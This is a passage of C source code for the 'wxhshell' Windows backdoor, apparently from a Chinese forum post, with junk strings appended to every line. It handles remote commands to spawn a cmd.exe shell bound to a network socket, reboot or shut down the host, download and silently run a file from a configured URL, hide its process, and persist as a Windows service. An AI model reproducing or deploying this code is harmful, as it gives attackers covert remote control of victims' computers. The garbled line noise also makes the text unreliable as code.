  // 帮助 7w @.)@5  
  case '?': { ^\e:j7@z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $* b>c:  
    break; b-M[la}1"  
  } $Z+N*w~8  
  // 安装 WyA>OB<Zeq  
  case 'i': { mf,mKgfG  
    if(Install()) S%Pk@n`z]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6%U1%;  
    else w{F8]N>0<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cGsP0LkHC  
    break; {h&*H[Z z  
    } yIXM}i:  
  // 卸载 ^(N+s?  
  case 'r': { "0`r]5 5d  
    if(Uninstall()) q}ZZqYk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "o<:[c9/  
    else 9V.)=*0hp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k#JFDw\  
    break; S?OK@UEJ  
    } s]5wzbFO  
  // 显示 wxhshell 所在路径 @K4} cP  
  case 'p': { J0d +q!  
    char svExeFile[MAX_PATH]; Rk"VFe>r  
    strcpy(svExeFile,"\n\r"); &I:X[=;g  
      strcat(svExeFile,ExeFile); Gd%6lab  
        send(wsh,svExeFile,strlen(svExeFile),0); 6\\B{%3R2  
    break; > :!faWX  
    } lr+Kwve  
  // 重启 +@Fy) {C7  
  case 'b': { OZ![9l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mrqCW]#u  
    if(Boot(REBOOT)) &KbtW_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M[Y|$I}  
    else { KKGAk\X  
    closesocket(wsh);  YDi_Gl$  
    ExitThread(0); oxPOfI1%]  
    } U[U$1LSS  
    break; +'uF3- +WY  
    } 6M"J3\ x  
  // 关机 L(`^T`  
  case 'd': { TkWS-=lNH0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;l4rg!r(S  
    if(Boot(SHUTDOWN)) u5V<f;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *vJ1~SRV  
    else { ?F AsV&y  
    closesocket(wsh); qAR~js`5  
    ExitThread(0); eU@yw1N  
    } U6jlv3  
    break; -CtA\< 7I  
    } BB--UM{7  
  // 获取shell %lv2;-  
  case 's': { 6}C4 SZ  
    CmdShell(wsh); |A'8'z&q  
    closesocket(wsh); ^=OjsN  
    ExitThread(0); bt%k;Z]  
    break; f@\ k_  
  } v{Zh!mk* L  
  // 退出 >p\IC  
  case 'x': { 0z#+^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }= s@y"["  
    CloseIt(wsh); ukS@8/eJ  
    break; Bwb3@vNA  
    } %L/Wc,My  
  // 离开 ppb]RN|)  
  case 'q': { wA.YEI|CSj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4)JrOe&k  
    closesocket(wsh); (LL4V 3)  
    WSACleanup(); n@T4z.*~lA  
    exit(1); m`nv4i#o  
    break; u\Fq\_  
        } _m3PAD4  
  } s,K @t_J  
  } Q!GB^ P  
hrU.QF8  
  // 提示信息 ;fee<7T y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xa[gDdbL  
} nt "VH5  
  } % eW>IN]5  
N(t1?R/e,  
  return; swi|   
} &p8K0 |  
LNXhzW   
// shell模块句柄 MCL?J,1?r  
int CmdShell(SOCKET sock) Y_Ej-u+>{  
{ #96E^%:zL  
STARTUPINFO si; xzW]D0o0  
ZeroMemory(&si,sizeof(si)); ^uIZs}=+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wbd>By(T1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {-Yp~HQF  
PROCESS_INFORMATION ProcessInfo; GG(rp]rgl  
char cmdline[]="cmd"; U+~0m!|4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {(ey!O  
  return 0; uO,90g[C/R  
} 3<m"z9$  
jTSw0\}  
// 自身启动模式 *ubLuC+b  
int StartFromService(void) 9g^@dfBV  
{ :#d$[:r#  
typedef struct D'Byl,W$   
{ Uk|Xs~@#E  
  DWORD ExitStatus; d?b2jZ$r]  
  DWORD PebBaseAddress; )l[ +7  
  DWORD AffinityMask; UbY-)9==  
  DWORD BasePriority; JY9Hqf  
  ULONG UniqueProcessId; e#FaK^V  
  ULONG InheritedFromUniqueProcessId; sw{EV0&>m  
}   PROCESS_BASIC_INFORMATION; `5[VO  
^L]+e  
PROCNTQSIP NtQueryInformationProcess; f`/JY!u j{  
;P5\EJo  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;#` Z(A}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f 7d)  
(V{bfDu&h@  
  HANDLE             hProcess; r{>tTJFD(:  
  PROCESS_BASIC_INFORMATION pbi; >/5D/}4  
;`X-.45  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S3)JEZi  
  if(NULL == hInst ) return 0; S U2`H7C*  
6M+~{9(S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k5g\s9n]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =J0FT2 d  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D rHMlk5  
LeQ2,/7l:  
  if (!NtQueryInformationProcess) return 0; !*C^gIQGU  
8 l}tYl`|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); | 2p\M?@  
  if(!hProcess) return 0; "o;l8$)VL  
X*$ 7g;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2$qeNy  
pOIFO =k  
  CloseHandle(hProcess); +;FF0_   
"Q2[A]4E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6$fC R  
if(hProcess==NULL) return 0; cl:*Q{(Cjk  
AGK+~EjL@  
HMODULE hMod; g@B9i =  
char procName[255]; gqZ7Pro.  
unsigned long cbNeeded; uZd)o AB  
;)"r^M)):  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); MSRIG-  
-Ah\a0z  
  CloseHandle(hProcess); {\C$Bz  
/YUf(' b  
if(strstr(procName,"services")) return 1; // 以服务启动 x9-K}s]%  
wnt^WW=a[  
  return 0; // 注册表启动 ]y.,J  
} (Clf]\_II  
k(%RX _]C  
// 主模块 $dorE ~T  
int StartWxhshell(LPSTR lpCmdLine) +-qD!(&-6  
{ '~3( s?B  
  SOCKET wsl; cX *  
BOOL val=TRUE; "pMXTRb  
  int port=0; la|#SS95  
  struct sockaddr_in door; u+8_et5T  
R;I}#b cJ  
  if(wscfg.ws_autoins) Install(); gJ vc<]W8!  
2kCJqyWy  
port=atoi(lpCmdLine); 6K?+adKlc  
&/=xtO/Z{  
if(port<=0) port=wscfg.ws_port; zx#d _SVi  
<XCH{Te1  
  WSADATA data; 47$JN}qI0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,A[HYc|uy  
]vKxgfF  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .u W_(Rqg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gj6"U {D  
  door.sin_family = AF_INET; -W+dsZ Sv8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Srol0D I  
  door.sin_port = htons(port); mz9Kwxe  
{D`F$=Dlw  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'DntZK  
closesocket(wsl); 0vQkm<  
return 1; t MA  
} ,,fLK1  
Rg0\Ng4|G  
  if(listen(wsl,2) == INVALID_SOCKET) { 2S!=2u+7  
closesocket(wsl); e|+uLbN&;c  
return 1; -bo0!@MK  
} d=lZhqY  
  Wxhshell(wsl);  ^B1vvb  
  WSACleanup(); {nj\dU  
8 hWQ  
return 0; A4(^I u  
%\:.rs^  
} = 2My-%i  
{oz04KGsH  
// 以NT服务方式启动 v oC< /}E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :V+t|@m5l  
{ `pII-dSC%  
DWORD   status = 0; rp(`V@x3  
  DWORD   specificError = 0xfffffff; &,NHk9.aq  
YdC:P# Nf  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J0o U5d=3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _ogT(uYyr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 60X B  
  serviceStatus.dwWin32ExitCode     = 0; ;&JMBn]J  
  serviceStatus.dwServiceSpecificExitCode = 0; ]*):2%f  
  serviceStatus.dwCheckPoint       = 0; (_<ruwV]`  
  serviceStatus.dwWaitHint       = 0; I>9rfmmTI  
QD\S E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); RsTpjY*Xb  
  if (hServiceStatusHandle==0) return; 3 5|5|m a  
*dUnP{6g  
status = GetLastError(); ^0X86  
  if (status!=NO_ERROR) ] +Gi~  
{ j q1qj9KZ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; K")-P9I6-f  
    serviceStatus.dwCheckPoint       = 0; Jc{zi^)(EN  
    serviceStatus.dwWaitHint       = 0; 8)R )h/E>  
    serviceStatus.dwWin32ExitCode     = status; (">!vz  
    serviceStatus.dwServiceSpecificExitCode = specificError; <C CEqY 4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9%\q*  
    return;   ;h  
  } .bL{fBTT~  
LR9dQ=fHS  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; T(ponLh  
  serviceStatus.dwCheckPoint       = 0; `33h4G  
  serviceStatus.dwWaitHint       = 0; ce+\D'q[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); iW)FjDTP  
} vcV=9q8P1  
Mc76)  
// 处理NT服务事件,比如:启动、停止 xwK<f6H!y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0B3*\ H}5  
{ $9Z8P_^.0(  
switch(fdwControl) eDTEy;^o  
{ eZP"M 6  
case SERVICE_CONTROL_STOP: EkXns%][L  
  serviceStatus.dwWin32ExitCode = 0; AQ+w%>G6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; YW/YeID  
  serviceStatus.dwCheckPoint   = 0; 3f M  
  serviceStatus.dwWaitHint     = 0; siyJjE)}w  
  { '<1T>|`/t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >@ge[MuS  
  } 1j0yON  
  return; =>S5}6  
case SERVICE_CONTROL_PAUSE: +T UtVG  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; I?F^c6M=  
  break; 3~Ipcr B  
case SERVICE_CONTROL_CONTINUE: %li'j|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <([o4%  
  break; u!{P{C  
case SERVICE_CONTROL_INTERROGATE: B;7L:  
  break;  299; N  
}; 7 NJ1cQ-}t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j g$%WAEb  
} NSM-p.I9  
V=E9*$b]  
// 标准应用程序主函数 #a}fI  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =A=er1~%  
{ c*1B*_08  
3(FJ<,"D}  
// 获取操作系统版本 GHYgSS  
OsIsNt=GetOsVer(); hiP^*5h  
GetModuleFileName(NULL,ExeFile,MAX_PATH); N],A&}30  
O\lt!p3F  
  // 从命令行安装 q[dls_  
  if(strpbrk(lpCmdLine,"iI")) Install(); chfj|Ce]x  
$ n 7dIE  
  // 下载执行文件 8 kd  
if(wscfg.ws_downexe) { (h`||48d  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gX6'!}G8]  
  WinExec(wscfg.ws_filenam,SW_HIDE); m_(+-G  
} WW==  
=xa`)#4(  
if(!OsIsNt) { \[Rh\v&  
// 如果时win9x,隐藏进程并且设置为注册表启动 cB?HMLbG>  
HideProc(); \7("bB=  
StartWxhshell(lpCmdLine); q] ,&$d^@  
} SjG=H%  
else {\lu; b!  
  if(StartFromService()) 0v',+-  
  // 以服务方式启动 &XgB-}^:  
  StartServiceCtrlDispatcher(DispatchTable); ,{:5Z:<|  
else Fwho.R-.  
  // 普通方式启动 -Z6ot{%  
  StartWxhshell(lpCmdLine); \Sg&Qv`  
 '+'  
return 0; = #ocp  
}
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只看该作者 1 发表于: 2006-10-10
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